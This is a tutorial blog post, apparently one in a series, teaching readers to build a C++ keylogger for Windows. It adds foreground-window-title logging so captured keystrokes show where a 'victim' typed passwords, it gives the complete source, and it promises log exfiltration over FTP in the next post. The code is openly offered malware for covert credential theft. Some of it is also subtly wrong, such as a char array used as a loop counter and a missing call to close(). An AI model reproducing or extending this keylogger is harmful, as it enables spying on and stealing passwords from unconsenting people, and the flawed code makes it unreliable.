Adding to our C++ Keylogger (Window Text and Special Characters)

Well, for those of you who have tried it out so far, nobody subscribed =( but anyway i guess i am obligated to add more, but please guys subscribe and comments, otherwise I wont know if anyone is reading this.

---------------------------------------------------------------------------------

Anyways here goes.
So as of now, we have a very simple keylogger, it takes in the keys that the victim types in and outputs them to a specified file. Well there are many problems with this keylogger. I'll help you solve one of these with this post.

Firstly, you would have to go the victims computer to retrieve the file, and most of the time this isn't a possibility. Also, if you have tried the keylogger out, you would have noticed that it doesnt resolve many of the characters like "Enter" and "Shift" and stuff. The next post will deal with ftp uploading and resolving these characters but this post will focus on a very important necessity to any keylogger, getting the window. The problem with many loggers is that you may have some passwords or something but you will never know what these passwords are for. So for that, you need to be able to get the window text.

Also remember that if you get the window text for a browser, it also tells you what webpage they are on, ie yahoo mail so this function can be very useful.

First, we have to familiarize ourselves with the API's that will help us get the window text. They are pretty self explanatory really, GetWindowText(); and GetForegroundWindow();. The msdn's for both are as follows respectively
GetWindowText
GetForegroundWindow()

Okay so after reading those we can see that GetForegroundWindow returns a handle to the foreground window or whatever window is selected. GetWindowText points the text of the window to a buffer with a specific length.

So in order to get the window text of the foreground window all we would have to do would be:

void getwindow(){
 char window[MAX_PATH];
 HWND currentwindow;
 currentwindow = GetForegroundWindow();
 GetWindowText(currentwindow, window, sizeof(window));
}

So this simple method returns the foreground window to the handle "currentwindow" and then uses GetWindowText to assign the buffer window with the size using the sizeof function the name of the current window. Well this is all good but when it comes to implementing it into our keylogger, putting this into the main function will just get the window text once, at the start of the program. In contrast, putting this in the check keys loop will get the window text and print it out every single time it goes through the loop, which means that your log will be overflowed with the same window title.

However, what if we put it in the loop, but only print it if the window has changed.
In other words, why dont we check what the window is, and then if that changes, we output the new window, that way we will have the names of all the windows that it were typed into and nothing more or less.

So lets modify our logger function:

void Logger()
{
 char key[20];
 char currentwindowtitle[MAX_PATH];
 char newwindowtitle[MAX_PATH];
 GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));              
 while(true)
 {
 Sleep(5);
 for(key = 8; key <= 256; key++)
    {
         if(GetAsyncKeyState(key)&1 == 1)                                                                  
         {
             GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));                        
             if (strcmp(newwindowtitle, currentwindowtitle) != 0)                                                         
             {    
                     ofstream storekey("C:\\storekey.txt", ios::app);
                     storekey << endl << currentwindowtitle << endl;
                     storekey.close;
                     strcpy(newwindowtitle, currentwindowtitle);
             }
            StoreKey(key);                      
         }
    }
 }
}

So lets have a look at what this code does differently from our old Logger() function. First, it initializes the currentwindowtitle variable with the current window, then every time it loops through, it checks if the new window is the same as the old window, using the return value from the strcpy (string copy) function, and if it is different, then it outputs to the logfile. It also then changes the currentwindowtitle to the newtitle and then does it all over again. So there we have it, a keylogger that can tell you exactly where your victim is typing their passwords etc. Have fun, and remember to subscribe and to comment. Remember, if you want to request any functionality for the logger or anything, COMMENT and recommend this site to all your friends! Next post will deal with some very exciting stuff, like sending you the logs, so remember to subscribe so you know when that comes out. Come on guys, show me some love. The following is the complete code of our keylogger so far.

---------------------------------------------------------------------------------

#include <windows.h>
#include <fstream>


using namespace std;

void StoreKey(char key){
   ofstream storekey("C:\\storekey.txt", ios::app);
   storekey << key;
   storekey.close;
}

void Logger()
{
 char key[20];
 char currentwindowtitle[MAX_PATH];
 char newwindowtitle[MAX_PATH];
 GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));              
 while(true)
 {
 Sleep(5);
 for(key = 8; key <= 256; key++)
    {
         if(GetAsyncKeyState(key)&1 == 1)                                                                  
         {
             GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));                        
             if (strcmp(newwindowtitle, currentwindowtitle) != 0)                                                         
             {    
                     ofstream storekey("C:\\storekey.txt", ios::app);
                     storekey << endl << currentwindowtitle << endl;
                     storekey.close;
                     strcpy(newwindowtitle, currentwindowtitle);
             }
            StoreKey(key);                      
         }
    }
 }
}

int main(){
   Logger();
   return 1;
}

-------------------------------------------------------------------------------

Remember to subscribe and COMMENT if you want me to keep writing this. Thanks Guys.

-badfish303